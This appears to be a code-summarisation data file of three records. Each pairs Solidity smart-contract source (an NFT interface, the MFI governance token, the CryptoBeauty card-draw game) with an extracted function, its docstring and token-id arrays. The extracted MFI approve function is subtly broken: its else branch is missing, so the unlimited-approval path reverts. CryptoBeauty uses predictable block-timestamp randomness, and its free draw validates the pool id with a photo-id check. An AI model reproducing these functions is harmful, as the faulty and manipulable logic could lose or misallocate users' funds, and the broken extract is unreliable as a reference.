_msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* Copyright 2021 Project Galaxy. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; /** * @title IStarNFT * @author Galaxy Protocol * * Interface for operating with StarNFTs. */ interface IStarNFT { /* ============ Events =============== */ /* ============ Functions ============ */ function isOwnerOf(address, uint256) external view returns (bool); function getNumMinted() external view returns (uint256); // mint function mint(address account, uint256 powah) external returns (uint256); function mintBatch(address account, uint256 amount, uint256[] calldata powahArr) external returns (uint256[] memory); function burn(address account, uint256 id) external; function burnBatch(address account, uint256[] calldata ids) external; }
============ External Functions ============ */
function mint(address account, uint256 powah) external override onlyMinter returns (uint256) { _starCount++; uint256 sID = _starCount; _mint(account, sID); return sID; }
483,720
[ 1, 14468, 11352, 15486, 422, 1432, 631, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 2867, 2236, 16, 2254, 5034, 7602, 9795, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1338, 49, 2761, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 389, 10983, 1380, 9904, 31, 203, 3639, 2254, 5034, 272, 734, 273, 389, 10983, 1380, 31, 203, 203, 3639, 389, 81, 474, 12, 4631, 16, 272, 734, 1769, 203, 3639, 327, 272, 734, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity =0.6.0; pragma experimental ABIEncoderV2; contract MFI { /// @notice EIP-20 token name for this token string public constant name = "MarginSwap"; /// @notice EIP-20 token symbol for this token string public constant symbol = "MFI"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 10000000e18; // 10 million MFI /// Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new MFI token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "MFI::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "MFI::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "MFI::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "MFI::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MFI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MFI::delegateBySig: invalid nonce"); require(now <= expiry, "MFI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "MFI::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "MFI::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "MFI::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "MFI::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "MFI::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "MFI::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "MFI::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "MFI::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
* @notice Approve `spender` to transfer up to `amount` from `src` @dev This will overwrite the approval amount for `spender` @param spender The address of the account which may transfer tokens @param rawAmount The number of tokens that are approved (2^256-1 means infinite) @return Whether or not the approval succeeded/
function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); amount = safe96(rawAmount, "MFI::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; }
48,655
[ 1, 12053, 537, 1375, 87, 1302, 264, 68, 358, 7412, 731, 358, 1375, 8949, 68, 628, 1375, 4816, 68, 225, 1220, 903, 6156, 326, 23556, 3844, 364, 1375, 87, 1302, 264, 68, 225, 17571, 264, 1021, 1758, 434, 326, 2236, 1492, 2026, 7412, 2430, 225, 1831, 6275, 1021, 1300, 434, 2430, 716, 854, 20412, 261, 22, 66, 5034, 17, 21, 4696, 14853, 13, 327, 17403, 578, 486, 326, 23556, 15784, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 1831, 6275, 13, 3903, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 10525, 3844, 31, 203, 3639, 309, 261, 1899, 6275, 422, 2254, 19236, 21, 3719, 288, 203, 5411, 3844, 273, 2254, 10525, 19236, 21, 1769, 203, 5411, 3844, 273, 4183, 10525, 12, 1899, 6275, 16, 315, 49, 1653, 2866, 12908, 537, 30, 3844, 14399, 19332, 4125, 8863, 203, 3639, 289, 203, 203, 3639, 1699, 6872, 63, 3576, 18, 15330, 6362, 87, 1302, 264, 65, 273, 3844, 31, 203, 203, 3639, 3626, 1716, 685, 1125, 12, 3576, 18, 15330, 16, 17571, 264, 16, 3844, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // File: contracts/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: contracts/openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Randomness.sol contract Randomness is Ownable { bytes32 private seed = "hحَi"; function rand(bytes32 key) public onlyOwner returns (bytes32) { seed ^= key; return keccak256(abi.encodePacked(key, seed, block.timestamp, block.difficulty, "台灣きन्दी한حَNo.1 :) ")); } } // File: contracts/CryptoBeauty.sol /* * Terms: * >> Salt: a number that accompany with random draw to make multiple drawing different across cards */ pragma solidity ^0.4.23; contract CryptoBeauty is Ownable { using SafeMath for uint256; struct PhotoPool { uint256[] photoIds; } struct Card { uint256 photoId; uint256 rarityScore; address holder; } struct Photo { uint256 modelId; uint256 photographerId; } Randomness randomnessContract; PhotoPool[] photoPools; Card[] public cards; Photo[] public photos; mapping (address => uint256) public playerLastFreeDrawTime; mapping (address => uint256[]) public playerDrawnCardIds; mapping (address => mapping (uint256 => bool)) public playerDrawnCardIdIsHeld; address public ownerWalletAddr; uint256 public drawCardPrice = 20000000; // 20 TRX (6 accuracy) uint256 public freeDrawTimeGap = 23 hours; /* events */ event PoolAdded( uint256 indexed photoPoolId ); event PhotoAdded( uint256 indexed photoId, uint256 indexed modelId, uint256 indexed photographerId ); event CardDrawn( uint256 indexed cardId, uint256 indexed photoId, uint256 rarityScore, address indexed to ); event Transfer( uint256 indexed cardId, address indexed from, address indexed to ); constructor(uint256 _drawCardPrice, address _ownerWalletAddr) public { randomnessContract = new Randomness(); drawCardPrice = _drawCardPrice; ownerWalletAddr = _ownerWalletAddr; } // ------------ external functions ------------------- /* manager methods */ function setDrawCardPrice(uint256 _price) external onlyOwner { require(_price != 0); drawCardPrice = _price; } function setFreeDrawTimeGap(uint256 _gap) external onlyOwner { require(_gap != 0); freeDrawTimeGap = _gap; } function withdraw(uint256 amount) external onlyOwner { require(address(this).balance >= amount); ownerWalletAddr.transfer(amount); } function addPhoto(uint256 _modelId, uint256 _photographerId) public onlyOwner { Photo memory _photo = Photo({ modelId: _modelId, photographerId: _photographerId }); uint256 _photoId = getLatestPhotoId(); photos.push(_photo); emit PhotoAdded( _photoId, _modelId, _photographerId ); } function addPhotos(uint256[] _modelIds, uint256[] _photographerIds) external onlyOwner { require(_modelIds.length == _photographerIds.length); for (uint256 i = 0; i < _modelIds.length; i++) { addPhoto(_modelIds[i], _photographerIds[i]); } } function addPhotoPool(uint256[] _photoIds) external onlyOwner { // a pool must contain some photos require(_photoIds.length > 0, "_photoIds can't be empty."); // all photoIds in a pool must exist for (uint256 i = 0; i < _photoIds.length; i++) { require(isValidPhotoId(_photoIds[i]), "photoId doesn't exist"); } PhotoPool memory _pool = PhotoPool({ photoIds: _photoIds }); uint256 _photoPoolId = photoPools.length; photoPools.push(_pool); emit PoolAdded( _photoPoolId ); } /* EXTERNAL user methods */ function freeDrawCard(uint256 _photoPoolId) external { // free draw if play has not drew before or today is first draw require(playerLastFreeDrawTime[msg.sender] == 0 || playerLastFreeDrawTime[msg.sender].add(freeDrawTimeGap) <= block.timestamp); // MUST be valid photo pool ID require(isValidPhotoId(_photoPoolId)); // update last draw time playerLastFreeDrawTime[msg.sender] = block.timestamp; _drawCard(_photoPoolId, block.timestamp); } function drawCard(uint256 _photoPoolId) external payable { require(msg.value == drawCardPrice, "paying incorrect amount"); _drawCard(_photoPoolId, block.timestamp); } function drawMultipleCards(uint256 _photoPoolId, uint256 _amount) external payable { require(_amount > 0, "_amount can't be 0"); require(msg.value == drawCardPrice.mul(_amount), "paying not correct amount"); for (uint256 i = 0; i < _amount; i++) { _drawCard(_photoPoolId, i.mul(block.timestamp)); } } // pool id can duplicate, ex. [0, 0, 1, 3] function drawMultipleCardsFromMultiplePools(uint256[] _photoPoolIds) external payable { require(_photoPoolIds.length > 0, "no _photoPoolIds provided"); require(_photoPoolIds.length <= 10, "number of pool ids cannot exceed 10"); require(msg.value == drawCardPrice.mul(_photoPoolIds.length), "paying not correct amount"); for (uint256 i = 0; i < _photoPoolIds.length; i++) { _drawCard(_photoPoolIds[i], i.mul(block.timestamp)); } } function transfer(uint256 _cardId, address _to) external { require(_to != address(0x0)); require(isValidCardId(_cardId)); require(cards[_cardId].holder == msg.sender); _transferCard(_cardId, msg.sender, _to); } // ------------ public view functions ------------------- function getLatestPhotoId() public view returns (uint){ return photos.length; } function getLatestPhotoPoolId() public view returns (uint){ return photoPools.length; } function isValidPhotoId(uint256 _photoId) public view returns (bool) { return _photoId < photos.length; } function isValidPoolId(uint256 _photoPoolId) public view returns (bool) { return _photoPoolId < photoPools.length; } function isValidCardId(uint256 _cardId) public view returns (bool) { return _cardId < cards.length; } function drawnCardIdsOf(address _user) external view returns(uint256[] cardIds) { return playerDrawnCardIds[_user]; } function playerDrawnCardIdIsHeldOf(address _user, uint256 _cardId) external view returns(bool) { return playerDrawnCardIdIsHeld[_user][_cardId]; } function drawnCardsOf(address _user) external view returns(uint256[] cardIds, uint256[] photoIds, uint256[] rarityScores) { uint256[] storage _cardIds = playerDrawnCardIds[_user]; uint256[] memory _photoIds = new uint256[](_cardIds.length); uint256[] memory _rarityScores = new uint256[](_cardIds.length); for (uint256 i = 0; i < _cardIds.length; i++) { _photoIds[i] = cards[_cardIds[i]].photoId; _rarityScores[i] = cards[_cardIds[i]].rarityScore; } return (_cardIds, _photoIds, _rarityScores); } // ---------------- internal functions ----------------- function _drawCard(uint256 _photoPoolId, uint256 _salt) internal { // draw random photoId uint256 _photoId = _drawPhotoId(_photoPoolId, _salt); // draw random rarity uint256 _rarityScore = _drawRarityScore(_salt); // create card Card memory _card = Card({ photoId: _photoId, rarityScore: _rarityScore, holder: msg.sender }); uint256 _cardId = cards.length; cards.push(_card); playerDrawnCardIds[msg.sender].push(_cardId); playerDrawnCardIdIsHeld[msg.sender][_cardId] = true; emit CardDrawn( _cardId, _photoId, _rarityScore, msg.sender // to ); emit Transfer( _cardId, // cardId address(0), // from msg.sender // to ); } function _drawPhotoId(uint256 _photoPoolId, uint256 _salt) internal returns(uint256 _photoId) { require(isValidPoolId(_photoPoolId)); // if _photoPoolId is valid, draw from pool uint256[] storage _photoIds = photoPools[_photoPoolId].photoIds; require(_photoIds.length > 0, "There are no photos in pool"); uint256 _rand = _random(_salt); return _photoIds[ _rand.mod(_photoIds.length) ]; } function _drawRarityScore(uint256 _salt) internal returns(uint256 _rarityScore) { _rarityScore = _random(_salt) % 1000; } function _transferCard(uint256 _cardId, address _from, address _to) internal { // set card holder cards[_cardId].holder = _to; // remove card from sender (_from). The array remains the same. playerDrawnCardIdIsHeld[_from][_cardId] = false; // add card to receiver (_to) playerDrawnCardIds[_to].push(_cardId); playerDrawnCardIdIsHeld[_to][_cardId] = true; emit Transfer( _cardId, _from, _to ); } // TODO: add more entropy function _random(uint256 _salt) internal returns (uint256) { return uint256(randomnessContract.rand( keccak256( abi.encodePacked( msg.data, msg.sender, _salt ) ) )); } }
free draw if play has not drew before or today is first draw MUST be valid photo pool ID update last draw time
function freeDrawCard(uint256 _photoPoolId) external { require(playerLastFreeDrawTime[msg.sender] == 0 || playerLastFreeDrawTime[msg.sender].add(freeDrawTimeGap) <= block.timestamp); require(isValidPhotoId(_photoPoolId)); playerLastFreeDrawTime[msg.sender] = block.timestamp; _drawCard(_photoPoolId, block.timestamp); }
954,555
[ 1, 9156, 3724, 309, 6599, 711, 486, 302, 16052, 1865, 578, 10074, 353, 1122, 3724, 10685, 506, 923, 10701, 2845, 1599, 1089, 1142, 3724, 813, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
